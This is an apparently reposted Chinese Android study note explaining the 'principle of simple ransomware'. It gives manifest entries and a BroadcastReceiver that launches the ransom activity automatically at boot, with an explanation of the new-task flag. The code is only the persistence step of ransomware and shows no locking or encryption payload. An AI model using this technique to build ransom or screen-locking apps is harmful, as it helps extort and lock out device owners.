Androidx学习笔记(59)--- 简易勒索软件原理

来源:互联网 发布:scdma是什么网络类型 编辑:程序博客网 时间:2024/04/30 21:58


勒索软件

  • 接收开机广播,在广播接收者中启动勒索的Activity
  • 清单文件中配置接收开机广播

    <receiver android:name="com.exp.lesuo.BootReceiver">    <intent-filter >        <action android:name="android.intent.action.BOOT_COMPLETED"/>    </intent-filter></receiver>
  • 权限

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
  • 定义广播接收者

    @Overridepublic void onReceive(Context context, Intent intent) {    //开机的时候就启动勒索软件    Intent it = new Intent(context, MainActivity.class);            context.startActivity(it);}
  • 以上代码还不能启动MainActivity,因为广播接收者的启动,并不会创建任务栈,那么没有任务栈,就无法启动activity
  • 手动设置创建新任务栈的flag

    it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

 public class BootReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
// 启动Activity,实现开机自动启动勒索软件
Intent it = new Intent(context, MainActivity.class);
//创建任务栈存放启动的Activity
it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(it);
}
}


0 0
原创粉丝点击